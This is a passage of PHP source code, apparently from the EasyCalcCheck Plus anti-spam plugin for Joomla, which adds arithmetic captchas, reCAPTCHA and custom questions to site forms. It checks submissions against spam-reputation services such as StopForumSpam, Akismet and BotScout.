            if(($this->params->get('type_calc') OR $this->params->get('recaptcha') OR $this->params->get('question')) AND !empty($match_extension))
            {
                // Without overrides
                $pattern_output = '@'.$this->_extension_info[3].'@isU';

                if(preg_match($pattern_output, $match_extension[0], $matches))
                {
                    $search_string_output = $matches[0];
                }
                else
                {
                    // Alternative search string from settings
                    $string_alternative = $this->params->get('string_alternative');

                    if(!empty($string_alternative))
                    {
                        $pattern = '@'.$string_alternative.'@isU';

                        if(preg_match($pattern, $match_extension[0], $matches))
                        {
                            $search_string_output = $matches[0];
                        }
                    }

                    // With overrides
                    if(!isset($search_string_output))
                    {
                        // Artisteer Template
                        $pattern = '@<span class=".*-button-wrapper">@isU';

                        if(preg_match($pattern, $match_extension[0], $matches))
                        {
                            $search_string_output = $matches[0];
                        }

                        // Rockettheme Template
                        $pattern = '@<div class="readon">@isU';

                        if(preg_match($pattern, $match_extension[0], $matches))
                        {
                            $search_string_output = $matches[0];
                        }

                        // String was still not found - take the submit attribute
                        if(!isset($search_string_output))
                        {
                            $pattern = '@<[^>]*type="submit".*>@isU';

                            if(preg_match($pattern, $match_extension[0], $matches))
                            {
                                $search_string_output = $matches[0];
                            }
                        }
                    }
                }

                $add_string = '<!-- EasyCalcCheck Plus - Kubik-Rubik Joomla! Extensions --><div id="easycalccheckplus">';

                if($this->params->get('type_calc'))
                {
                    $this->_session->set('spamcheck', $this->random(), 'easycalccheck');
                    $this->_session->set('rot13', mt_rand(0, 1), 'easycalccheck');

                    // Determine operator
                    if($this->params->get('operator') == 2)
                    {
                        $tcalc = mt_rand(1, 2);
                    }
                    elseif($this->params->get('operator') == 1)
                    {
                        $tcalc = 2;
                    }
                    else
                    {
                        $tcalc = 1;
                    }

                    // Determine max. operand
                    $max_value = $this->params->get('max_value', 20);

                    if(($this->params->get('negativ') == 0) AND ($tcalc == 2))
                    {
                        $spam_check_1 = mt_rand($max_value / 2, $max_value);
                        $spam_check_2 = mt_rand(1, $max_value / 2);
                        if($this->params->get('operand') == 3)
                        {
                            $spam_check_3 = mt_rand(0, $spam_check_1 - $spam_check_2);
                        }
                    }
                    else
                    {
                        $spam_check_1 = mt_rand(1, $max_value);
                        $spam_check_2 = mt_rand(1, $max_value);
                        if($this->params->get('operand') == 3)
                        {
                            $spam_check_3 = mt_rand(0, $max_value);
                        }
                    }

                    if($tcalc == 1) // Addition
                    {
                        if($this->_session->get('rot13', null, 'easycalccheck') == 1) // ROT13 coding
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $this->_session->set('spamcheckresult', str_rot13(base64_encode($spam_check_1 + $spam_check_2)), 'easycalccheck');
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $this->_session->set('spamcheckresult', str_rot13(base64_encode($spam_check_1 + $spam_check_2 + $spam_check_3)), 'easycalccheck');
                            }
                        }
                        else
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $this->_session->set('spamcheckresult', base64_encode($spam_check_1 + $spam_check_2), 'easycalccheck');
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $this->_session->set('spamcheckresult', base64_encode($spam_check_1 + $spam_check_2 + $spam_check_3), 'easycalccheck');
                            }
                        }
                    }
                    elseif($tcalc == 2) // Subtraction
                    {
                        if($this->_session->get('rot13', null, 'easycalccheck') == 1)
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $this->_session->set('spamcheckresult', str_rot13(base64_encode($spam_check_1 - $spam_check_2)), 'easycalccheck');
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $this->_session->set('spamcheckresult', str_rot13(base64_encode($spam_check_1 - $spam_check_2 - $spam_check_3)), 'easycalccheck');
                            }
                        }
                        else
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $this->_session->set('spamcheckresult', base64_encode($spam_check_1 - $spam_check_2), 'easycalccheck');
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $this->_session->set('spamcheckresult', base64_encode($spam_check_1 - $spam_check_2 - $spam_check_3), 'easycalccheck');
                            }
                        }
                    }

                    $add_string .= '<div><label for="'.$this->_session->get('spamcheck', null, 'easycalccheck').'">';

                    $add_string .= JText::_('PLG_ECC_SPAMCHECK').': ';

                    if($tcalc == 1)
                    {
                        if($this->params->get('converttostring'))
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $add_string .= $this->converttostring($spam_check_1).' '.JText::_('PLG_ECC_PLUS').' '.$this->converttostring($spam_check_2).' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $add_string .= $this->converttostring($spam_check_1).' '.JText::_('PLG_ECC_PLUS').' '.$this->converttostring($spam_check_2).' '.JText::_('PLG_ECC_PLUS').' '.$this->converttostring($spam_check_3).' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                        }
                        else
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $add_string .= $spam_check_1.' '.JText::_('PLG_ECC_PLUS').' '.$spam_check_2.' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $add_string .= $spam_check_1.' '.JText::_('PLG_ECC_PLUS').' '.$spam_check_2.' '.JText::_('PLG_ECC_PLUS').' '.$spam_check_3.' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                        }
                    }
                    elseif($tcalc == 2)
                    {
                        if($this->params->get('converttostring'))
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $add_string .= $this->converttostring($spam_check_1).' '.JText::_('PLG_ECC_MINUS').' '.$this->converttostring($spam_check_2).' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $add_string .= $this->converttostring($spam_check_1).' '.JText::_('PLG_ECC_MINUS').' '.$this->converttostring($spam_check_2).' '.JText::_('PLG_ECC_MINUS').' '.$this->converttostring($spam_check_3).' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                        }
                        else
                        {
                            if($this->params->get('operand') == 2)
                            {
                                $add_string .= $spam_check_1.' '.JText::_('PLG_ECC_MINUS').' '.$spam_check_2.' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                            elseif($this->params->get('operand') == 3)
                            {
                                $add_string .= $spam_check_1.' '.JText::_('PLG_ECC_MINUS').' '.$spam_check_2.' '.JText::_('PLG_ECC_MINUS').' '.$spam_check_3.' '.JText::_('PLG_ECC_EQUALS').' ';
                            }
                        }
                    }

                    $add_string .= '</label>';
                    $add_string .= '<input type="text" name="'.$this->_session->get('spamcheck', null, 'easycalccheck').'" id="'.$this->_session->get('spamcheck', null, 'easycalccheck').'" size="3" class="inputbox '.$this->random().' validate-numeric required" value="" required="required" />';
                    $add_string .= '</div>';

                    // Show warnings
                    if($this->params->get('warn_ref') AND !$this->params->get('autofill_values'))
                    {
                        $add_string .= '<p><img src="'.JURI::root().'plugins/system/easycalccheckplus/easycalccheckplus/warning.png" alt="'.JText::_('PLG_ECC_WARNING').'" /> ';
                        $add_string .= '<strong>'.JText::_('PLG_ECC_WARNING').'</strong><br /><small>'.JText::_('PLG_ECC_WARNINGDESC').'</small>';

                        if($this->params->get('converttostring'))
                        {
                            $add_string .= '<br /><small>'.JText::_('PLG_ECC_CONVERTWARNING').'</small><br />';
                        }

                        $add_string .= '</p>';
                    }
                    elseif($this->params->get('converttostring'))
                    {
                        $add_string .= '<p><small>'.JText::_('PLG_ECC_CONVERTWARNING').'</small></p>';
                    }
                }

                // ReCaptcha
                if($this->params->get('recaptcha') AND $this->params->get('recaptcha_publickey') AND $this->params->get('recaptcha_privatekey'))
                {
                    require_once(dirname(__FILE__).DS.'easycalccheckplus'.DS.'recaptchalib.php');
                    $publickey = $this->params->get('recaptcha_publickey');

                    $add_string .= recaptcha_get_html($publickey).'<br />';
                }

                // Own Question
                if($this->params->get('question') AND $this->params->get('question_q') AND $this->params->get('question_a'))
                {
                    $this->_session->set('question', $this->random(), 'easycalccheck');

                    $size = strlen($this->params->get('question_a')) + mt_rand(0, 2);

                    $add_string .= '<p>'.$this->params->get('question_q').' <input type="text" name="'.$this->_session->get('question', null, 'easycalccheck').'" id="'.$this->_session->get('question', null, 'easycalccheck').'" size="'.$size.'" class="inputbox '.$this->random().'" value="" /> *</p>';
                }

                //if($this->params->get('poweredby') == 1)
                //{
                //    $add_string .= '<div class="protectedby"><a href="http://joomla-extensions.kubik-rubik.de/" title="EasyCalcCheck Plus for Joomla! - Kubik-Rubik Joomla! Extensions" target="_blank">'.JText::_('PLG_ECC_PROTECTEDBY').'</a></div>';
                //}

                $add_string .= '</div>';
                
                if(isset($search_string_output))
                {
                    $body = str_replace($search_string_output, $add_string.$search_string_output, $body);
                }
            }

            // Set body
            JResponse::setBody($body);

            // Time Lock
            if($this->params->get('type_time'))
            {
                $this->_session->set('time', time(), 'easycalccheck');
            }

            // Get IP Address
            $this->_session->set('ip', getenv('REMOTE_ADDR'), 'easycalccheck');

            // Set session variable for error output - Phoca Guestbook / Easybook Reloaded
            if($option == 'com_phocaguestbook')
            {
                $this->_session->set('phocaguestbook', 0, 'easycalccheck');
            }
            elseif($option == 'com_easybookreloaded')
            {
                $this->_session->set('easybookreloaded', 0, 'easycalccheck');
            }

            // Set redirect url
            $this->_session->set('redirect_url', JFactory::getURI()->toString(), 'easycalccheck');
        }
    }

    // Check the result of the calc check submitted by the contact form
    public function onValidateContact($contact, $post)
    {
        if($this->_load_ecc_check == true)
        {
            $option = JRequest::getWord('option');

            if($this->params->get('contact') AND $option == 'com_contact')
            {
                if(!$this->performChecks())
                {
                    $url = $this->buildFailedUrl();
                    $this->redirect($url);
                }
            }

            return true;
        }
    }

    // Check the result of the checks submittet by the registration form
    public function onUserBeforeSave($user, $isnew, $new)
    {
        if($this->_load_ecc_check == true)
        {
            if(!empty($isnew))
            {
                $option = JRequest::getWord('option');

                if(($this->params->get('user_reg') AND $option == 'com_users') OR ($this->params->get('communitybuilder') AND $option == 'com_comprofiler'))
                {
                    if(!$this->performChecks())
                    {
                        $url = $this->buildFailedUrl();
                        $this->redirect($url);
                    }
                }
            }
        }
    }

    // Increase the failed_login_attempts counter if the login was not successful
    public function onUserLoginFailure()
    {
        $failed_login_attempts = $this->_session->get('failed_login_attempts', null, 'easycalccheck');
        $this->_session->set('failed_login_attempts', $failed_login_attempts + 1, 'easycalccheck');
    }

    // Successful login, clear sessions variable
    public function onUserLogin()
    {
        $this->_session->clear('failed_login_attempts', 'easycalccheck');
    }

    // Do the checks, great Joomla! plugin!
    private function performChecks()
    {
        $request = JRequest::get();

        // Calc check
        if($this->params->get('type_calc'))
        {
            if($this->_session->get('rot13', null, 'easycalccheck') == 1)
            {
                $spamcheckresult = base64_decode(str_rot13($this->_session->get('spamcheckresult', null, 'easycalccheck')));
            }
            else
            {
                $spamcheckresult = base64_decode($this->_session->get('spamcheckresult', null, 'easycalccheck'));
            }

            $spamcheck = JRequest::getInt($this->_session->get('spamcheck', null, 'easycalccheck'), '', 'post');

            $this->_session->clear('rot13', 'easycalccheck');
            $this->_session->clear('spamcheck', 'easycalccheck');
            $this->_session->clear('spamcheckresult', 'easycalccheck');

            if(!is_numeric($spamcheckresult) || $spamcheckresult != $spamcheck)
            {
                return false; // Failed
            }
        }

        // Hidden field
        if($this->params->get('type_hidden'))
        {
            $hidden_field = $this->_session->get('hidden_field', null, 'easycalccheck');
            $this->_session->clear('hidden_field', 'easycalccheck');

            if(JRequest::getVar($hidden_field, '', 'post'))
            {
                return false; // Hidden field was filled out - failed
            }
        }

        // Time lock
        if($this->params->get('type_time'))
        {
            $time = $this->_session->get('time', null, 'easycalccheck');
            $this->_session->clear('time', 'easycalccheck');

            if(time() - $this->params->get('type_time_sec') <= $time)
            {
                return false; // Submitted too fast - failed
            }
        }

        // Own Question
        // Conversion to lower case
        if($this->params->get('question'))
        {
            $answer = strtolower(JRequest::getString($this->_session->get('question', null, 'easycalccheck'), '', 'post'));
            $this->_session->clear('question', 'easycalccheck');

            if($answer != strtolower($this->params->get('question_a')))
            {
                return false; // Question wasn't answered - failed
            }
        }

        // StopForumSpam - Check the IP Address
        // Further informations: http://www.stopforumspam.com
        if($this->params->get('stopforumspam'))
        {
            $url = 'http://www.stopforumspam.com/api?ip='.$this->_session->get('ip', null, 'easycalccheck');

            // Function test - Comment out to test - Important: Enter a active Spam-IP
            // $ip = '88.180.52.46';
            // $url = 'http://www.stopforumspam.com/api?ip='.$ip;

            $response = false;
            $is_spam = false;

            if(function_exists('curl_init'))
            {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_POST, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $response = curl_exec($ch);
                curl_close($ch);
            }

            if($response)
            {
                preg_match('#<appears>(.*)</appears>#', $response, $out);
                $is_spam = $out[1];
            }
            else
            {
                $response = @ fopen($url, 'r');

                if($response)
                {
                    while(!feof($response))
                    {
                        $line = fgets($response, 1024);

                        if(preg_match('#<appears>(.*)</appears>#', $line, $out))
                        {
                            $is_spam = $out[1];
                            break;
                        }
                    }
                    fclose($response);
                }
            }

            if($is_spam == 'yes' AND $response == true)
            {
                return false; // Spam-IP - failed
            }
        }
        // Honeypot Project
        // Further informations: http://www.projecthoneypot.org/home.php
        // BL ACCESS KEY - http://www.projecthoneypot.org/httpbl_configure.php
        if($this->params->get('honeypot'))
        {
            require_once(dirname(__FILE__).DS.'easycalccheckplus'.DS.'honeypot.php');
            $http_blKey = $this->params->get('honeypot_key');

            if($http_blKey)
            {
                $http_bl = new http_bl($http_blKey);
                $result = $http_bl->query($this->_session->get('ip', null, 'easycalccheck'));

                // Function test - Comment out to test - Important: Enter an active Spam-IP
                // $ip = '117.21.224.251';
                // $result = $http_bl->query($ip);

                if($result == 2)
                {
                    return false;
                    ;
                }
            }
        }
        // Akismet
        // Further informations: http://akismet.com/
        if($this->params->get('akismet'))
        {
            require_once(dirname(__FILE__).DS.'easycalccheckplus'.DS.'akismet.php');
            $akismet_key = $this->params->get('akismet_key');

            if($akismet_key)
            {
                $akismet_url = JURI::getInstance()->toString();

                $name = '';
                $email = '';
                $url = '';
                $comment = '';

                if($request['option'] == 'com_contact')
                {
                    $name = $request['jform']['contact_name'];
                    $email = $request['jform']['contact_email'];
                    $comment = $request['jform']['contact_message'];
                }
                elseif($request['option'] == 'com_users')
                {
                    $name = $request['jform']['name'];
                    $email = $request['jform']['email1'];

                    if(isset($request['jform']['email']))
                    {
                        $email = $request['jform']['email'];
                    }
                }
                elseif($request['option'] == 'com_comprofiler')
                {
                    $name = $request['name'];
                    $email = $request['email'];

                    if(isset($request['checkusername']))
                    {
                        $name = $request['checkusername'];
                    }

                    if(isset($request['checkemail']))
                    {
                        $email = $request['checkemail'];
                    }
                }
                elseif($request['option'] == 'com_easybookreloaded')
                {
                    $name = $request['gbname'];
                    $email = $request['gbmail'];
                    $comment = $request['gbtext'];

                    if(isset($request['gbpage']))
                    {
                        $url = $request['gbpage'];
                    }
                }
                elseif($request['option'] == 'com_phocaguestbook')
                {
                    $name = $request['pgusername'];
                    $email = $request['email'];
                    $comment = $request['pgbcontent'];
                }
                elseif($request['option'] == 'com_dfcontact')
                {
                    $name = $request['name'];
                    $email = $request['email'];
                    $comment = $request['message'];
                }
                elseif($request['option'] == 'com_flexicontact' OR $request['option'] == 'com_flexicontactplus')
                {
                    $name = $request['from_name'];
                    $email = $request['from_email'];
                    $comment = $request['area_data'];
                }
                elseif($request['option'] == 'com_alfcontact')
                {
                    $name = $request['name'];
                    $email = $request['email'];
                    $comment = $request['message'];
                }
                elseif($request['option'] == 'com_community')
                {
                    $name = $request['usernamepass'];
                    $email = $request['emailpass'];
                }
                elseif($request['option'] == 'com_virtuemart')
                {
                    $name = $request['name'];
                    $email = $request['email'];
                    $comment = $request['comment'];
                }
                elseif($request['option'] == 'com_aicontactsafe')
                {
                    $name = $request['aics_name'];
                    $email = $request['aics_email'];
                    $comment = $request['aics_message'];
                }

                $akismet = new Akismet($akismet_url, $akismet_key);
                $akismet->setCommentAuthor($name);
                $akismet->setCommentAuthorEmail($email);
                $akismet->setCommentAuthorURL($url);
                $akismet->setCommentContent($comment);

                if($akismet->isCommentSpam())
                {
                    return false;
                }
            }
        }
        // ReCaptcha
        // Further informations: http://www.google.com/recaptcha
        if($this->params->get('recaptcha') AND $this->params->get('recaptcha_publickey') AND $this->params->get('recaptcha_privatekey'))
        {
            require_once(dirname(__FILE__).DS.'easycalccheckplus'.DS.'recaptchalib.php');
            $privatekey = $this->params->get('recaptcha_privatekey');

            $resp = recaptcha_check_answer($privatekey, $this->_session->get('ip', null, 'easycalccheck'), $request['recaptcha_challenge_field'], $request['recaptcha_response_field']);

            if(!$resp->is_valid)
            {
                return false;
            }
        }
        // Botscout - Check the IP Address
        // Further informations: http://botscout.com/
        if($this->params->get('botscout') AND $this->params->get('botscout_key'))
        {
            $url = 'http://botscout.com/test/?ip='.$this->_session->get('ip', null, 'easycalccheck').'&key='.$this->params->get('botscout_key');

            // Function test - Comment out to test - Important: Enter a active Spam-IP
            // $ip = '87.103.128.199';
            // $url = 'http://botscout.com/test/?ip='.$ip.'&key='.$this->params->get('botscout_key');

            $response = false;
            $is_spam = false;

            if(function_exists('curl_init'))
            {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_HEADER, 0);
                curl_setopt($ch, CURLOPT_POST, 0);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                $response = curl_exec($ch);
                curl_close($ch);
            }

            if($response)
            {
                $is_spam = substr($response, 0, 1);
            }
            else
            {
                $response = @ fopen($url, 'r');

                if($response)
                {
                    while(!feof($response))
                    {
                        $line = fgets($response, 1024);

                        $is_spam = substr($line, 0, 1);
                    }
                    fclose($response);
                }
            }

            if($is_spam == 'Y' AND $response == true)
            {
                // Spam-IP - failed
                return false;
            }
        }
        // Mollom
        // Further informations: http://mollom.com/
        if($this->params->get('mollom') AND $this->params->get('mollom_publickey') AND $this->params->get('mollom_privatekey'))
        {
            require_once(dirname(__FILE__).DS.'easycalccheckplus'.DS.'mollom.php');

            Mollom::setPublicKey($this->params->get('mollom_publickey'));
            Mollom::setPrivateKey($this->params->get('mollom_privatekey'));

            $servers = Mollom::getServerList();

            $name = '';
            $email = '';
            $url = '';
            $comment = '';

            if($request['option'] == 'com_contact')
            {
                $name = $request['jform']['contact_name'];
                $email = $request['jform']['contact_email'];
                $comment = $request['jform']['contact_message'];
            }
            elseif($request['option'] == 'com_users')
            {
                $name = $request['jform']['name'];
                $email = $request['jform']['email1'];

                if(isset($request['jform']['email']))
                {
                    $email = $request['jform']['email'];
                }
            }
            elseif($request['option'] == 'com_comprofiler')
            {
                $name = $request['name'];
                $email = $request['email'];

                if(isset($request['checkusername']))
                {
                    $name = $request['checkusername'];
                }

                if(isset($request['checkemail']))
                {
                    $email = $request['checkemail'];
                }
            }
            elseif($request['option'] == 'com_easybookreloaded')
            {
                $name = $request['gbname'];
                $email = $request['gbmail'];
                $comment = $request['gbtext'];

                if(isset($request['gbpage']))
                {
                    $url = $request['gbpage'];
                }
            }
            elseif($request['option'] == 'com_phocaguestbook')
            {
                $name = $request['pgusername'];
                $email = $request['email'];
                $comment = $request['pgbcontent'];
            }
            elseif($request['option'] == 'com_dfcontact')
            {
                $name = $request['name'];
                $email = $request['email'];
                $comment = $request['message'];
            }
            elseif($request['option'] == 'com_flexicontact' OR $request['option'] == 'com_flexicontactplus')
            {
                $name = $request['from_name'];
                $email = $request['from_email'];
                $comment = $request['area_data'];
            }
            elseif($request['option'] == 'com_alfcontact')
            {
                $name = $request['name'];
                $email = $request['email'];
                $comment = $request['message'];
            }
            elseif($request['option'] == 'com_community')
            {
                $name = $request['usernamepass'];
                $email = $request['emailpass'];
            }
            elseif($request['option'] == 'com_virtuemart')
            {
                $name = $request['name'];
                $email = $request['email'];
                $comment = $request['comment'];
            }
            elseif($request['option'] == 'com_aicontactsafe')
            {
                $name = $request['aics_name'];
                $email = $request['aics_email'];
                $comment = $request['aics_message'];
            }

            $feedback = Mollom::checkContent(null, null, $comment, $name, $url, $email);

            if($feedback['spam'] == 'spam')
            {
                return false;
            }
        }

        $this->_session->clear('ip', 'easycalccheck');
        $this->_session->clear('saved_data', 'easycalccheck');

        // Yeeeha, no spam detected!
        return true;
    }

    // Check whether ECC+ has to be loaded
    private function loadEcc($option, $task, $view, $func, $layout)
    {
        $user = JFactory::getUser();
        $app = JFactory::getApplication();

        if($app->isAdmin() OR ($this->params->get('onlyguests') AND !$user->guest))
        {
            $this->_load_ecc = false;
            $this->_load_ecc_check = false;
        }
        else
        {
            // Find out if ECC+ has to be loaded depending on the called component
            if($option == 'com_contact')
            {
                // Array(name, form, regex for hidden field, regex for output, task);
                $this->_extension_info = array('com_contact', '<form[^>]+id="contact-form".+</form>', '<label id="jform_contact.+>', '<button class="button validate" type="submit">', 'contact.submit');

                if($this->params->get('contact') AND $view == 'contact')
                {
                    $this->_load_ecc = true;
                }

                if($this->params->get('contact') AND $task == 'contact.submit')
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_users')
            {
                if($layout != 'confirm' AND $layout != 'complete')
                {
                    if($view == 'registration')
                    {
                        $this->_extension_info = array('com_users', '<form[^>]+id="member-registration".+</form>', '<label id="jform.+>', '<button type="submit" class="validate">', 'registration.register');
                    }
                    elseif($view == 'reset' OR $view == 'remind')
                    {
                        $this->_extension_info = array('com_users', '<form[^>]+id="user-registration".+</form>', '<label id="jform_email-lbl"', '<button type="submit">', 'registration.register');
                    }
                    elseif($view == 'login' OR $view == '')
                    {
                        $this->_extension_info = array('com_users', '<form[^>]+task=user.login.+</form>', '<label id=".+"', '<button type="submit" class=".*">', 'registration.register');
                    }

                    if($this->params->get('user_reg') AND ($view == 'registration' OR $view == 'reset' OR $view == 'remind'))
                    {
                        $this->_load_ecc = true;
                    }
                    elseif($this->params->get('user_reg') AND ($task == 'registration.register' OR $task == 'reset.request' OR $task == 'remind.remind'))
                    {
                        $this->_load_ecc_check = true;
                    }

                    if($this->params->get('user_login') AND ($view == 'login' OR $view == '' ) AND ($task == ''))
                    {
                        $this->_load_ecc = true;
                        $this->_session->set('user_login', 1, 'easycalccheck');
                    }
                    elseif($this->params->get('user_login') AND ($task == 'user.login'))
                    {
                        $user_login_check = $this->_session->get('user_login', null, 'easycalccheck');

                        if(!empty($user_login_check))
                        {
                            $this->_load_ecc_check = true;
                        }
                        else
                        {
                            $failed_login_attempts = $this->_session->get('failed_login_attempts', null, 'easycalccheck');

                            if(empty($failed_login_attempts))
                            {
                                $failed_login_attempts = 0;
                            }

                            if($failed_login_attempts >= $this->params->get('user_login_attempts'))
                            {
                                $this->redirect(JRoute::_('index.php?option=com_users&view=login&eccp_err=login_attempts', false));
                            }
                        }
                    }
                }
            }
            elseif($option == 'com_easybookreloaded') // Easybook Reloaded - tested with version 2.5-4
            {
                $this->_extension_info = array('com_easybookreloaded', '<form[^>]+name=\'gbookForm\'.+</form>', '<input type=.+>', '<p id="easysubmit">', 'save');

                if($this->params->get('easybookreloaded') AND ($task == 'add'))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('easybookreloaded') AND ($task == 'save'))
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_phocaguestbook') // Phoca Guestbook - tested with version 2.0.6
            {
                $this->_extension_info = array('com_phocaguestbook', '<form[^>]+id="pgbSaveForm".+</form>', '<input type=.+>', '<input type="submit" name="save" value=".+" />', 'submit');

                if($this->params->get('phocaguestbook') AND $view == 'guestbook' AND $task != 'submit')
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('phocaguestbook') AND $task == 'submit')
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_comprofiler') // Community Builder - tested with version 1.9
            {
                if($task == 'registers')
                {
                    $this->_extension_info = array('com_comprofiler', '<form[^>]+id="cbcheckedadminForm".+</form>', '<label for=".+>', '<input type="submit" value=".+" class="button" />', 'saveregisters');
                }
                elseif($task == 'lostpassword')
                {
                    $this->_extension_info = array('com_comprofiler', '<form[^>]+id="adminForm".+</form>', '<label for=".+>', '<input type="submit" class="button" id="cbsendnewuspass" value=".+" />', 'sendNewPass');
                }

                if($this->params->get('communitybuilder') AND ($task == 'registers' OR $task == 'lostpassword'))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('communitybuilder') AND ($task == 'saveregisters' OR $task == 'sendNewPass'))
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_dfcontact') // DFContact - tested with version 1.6.6
            {
                $this->_extension_info = array('com_dfcontact', '<form[^>]+id="dfContactForm".+</form>', '<label for="dfContactField.+>', '<input type="submit" value=".+" class="button" />');

                if($this->params->get('dfcontact') AND $view == 'dfcontact' AND empty($_REQUEST["submit"]))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('dfcontact') AND $view == 'dfcontact' AND !empty($_REQUEST["submit"]))
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_foxcontact') // FoxContact - tested with version 2.0.15
            {
                $this->_extension_info = array('com_foxcontact', '<form[^>]+id="FoxForm".+</form>', '<input class=.+>', '<input class="foxbutton" type="submit" style=".+" name=".+" value=".+"/>');

                $Itemid = JRequest::getCmd('Itemid');

                if($this->params->get('foxcontact') AND $view == 'foxcontact' AND !isset($_REQUEST['cid_'.$Itemid]))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('foxcontact') AND $view == 'foxcontact' AND isset($_REQUEST['cid_'.$Itemid]))
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_flexicontact' OR $option == 'com_flexicontactplus') // FlexiContact - tested with version 5.12 / FlexiContact Plus - tested with version 6.07
            {
                if($option == 'com_flexicontact')
                {
                    $regex_output = '<input type="submit" class=".+" name="send_button".+/>';
                }
                elseif($option == 'com_flexicontactplus')
                {
                    $regex_output = '<div class="fcp_sendrow">';
                }

                $this->_extension_info = array($option, '<form[^>]+name="fc.?_form".+</form>', '<input type=.+>', $regex_output, 'send');

                if((($this->params->get('flexicontact') AND $option == 'com_flexicontact') OR ($this->params->get('flexicontactplus') AND $option == 'com_flexicontactplus')) AND $view == 'contact' AND empty($task))
                {
                    $this->_load_ecc = true;
                }
                elseif((($this->params->get('flexicontact') AND $option == 'com_flexicontact') OR ($this->params->get('flexicontactplus') AND $option == 'com_flexicontactplus')) AND $view == 'contact' AND $task == 'send')
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_kunena') // Kunena Forum - tested with version 1.7.2 and 2.0.2
            {
                $this->_extension_info = array('com_kunena', '<form[^>]+id="postform".+</form>', '<input type=.+>', '<input type="submit" name="ksubmit" class="kbutton".+/>', 'post');

                if($this->params->get('kunena') AND ($func == 'post' OR ($view == 'topic' AND ($layout == 'reply' OR $layout == 'create'))) AND empty($_REQUEST["ksubmit"]))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('kunena') AND ($func == 'post' OR $task == 'post') AND !empty($_REQUEST["ksubmit"]))
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_alfcontact') // ALFContact - tested with version 2.0.3
            {
                $this->_extension_info = array('com_alfcontact', '<form[^>]+id="contact-form".+</form>', '<label for=".+>', '<button class="button">', 'sendemail');

                if($this->params->get('alfcontact') AND $view == 'alfcontact' AND empty($task))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('alfcontact') AND $task == 'sendemail')
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_aicontactsafe') // aiContactSafe - tested with version 2.0.19
            {
                $this->_extension_info = array('com_aicontactsafe', '<form[^>]+id="adminForm_.+</form>', '<label for=".+>', '<input type="submit" id="aiContactSafeSendButton"', 'display');

                $sTask = JREQUEST::getString('sTask', 0);

                if($this->params->get('aicontactsafe') AND empty($sTask))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('aicontactsafe') AND $sTask == 'message')
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_community') // JomSocial - tested with version 2.6 RC2
            {
                $this->_extension_info = array('com_community', '<form[^>]+id="jomsForm".+</form>', '<label id=".+>', '<div[^>]+cwin-wait.*></div>', 'register_save');

                if($this->params->get('jomsocial') AND $view == 'register' AND ($task == '' OR $task == 'register'))
                {
                    $this->_load_ecc = true;
                }
                elseif($this->params->get('jomsocial') AND $view == 'register' AND $task == 'register_save')
                {
                    $this->_load_ecc_check = true;
                }
            }
            elseif($option == 'com_virtuemart') // Virtuemart - tested with version 2.0.12f
            {
                if($task == 'askquestion' OR $task == 'mailAskquestion')
                {
                    $this->_extension_info = array('com_virtuemart', '<form[^>]+id="askform".+</form>', '<label>', '<input[^>]*type="submit" name="submit_ask"[^>]*/>', 'mailAskquestion');

                    if($this->params->get('virtuemart') AND $view == 'productdetails' AND $task == 'askquestion')
                    {
                        $this->_load_ecc = true;
                    }
                    elseif($this->params->get('virtuemart') AND $view == 'productdetails' AND $task == 'mailAskquestion')
                    {
                        $this->_load_ecc_check = true;
                    }
                }
                elseif($task == 'editaddresscheckout' OR $task == 'registercheckoutuser' OR $task == 'savecheckoutuser')
                {
                    $this->_extension_info = array('com_virtuemart', '<form[^>]+id="userForm2".+</form>', '<label>', '<button[^>]*type="submit"[^>]*/>', 'savecheckoutuser');

                    if($this->params->get('virtuemart') AND $view == 'user' AND $task == 'editaddresscheckout')
                    {
                        $this->_load_ecc = true;
                    }
                    elseif($this->params->get('virtuemart') AND $view == 'user' AND ($task == 'registercheckoutuser' OR $task == 'savecheckoutuser'))
                    {
                        $this->_load_ecc_check = true;
                    }
                }
            }
        }

        // Clear user_login session variable to avoid errors if a user logs in via the module
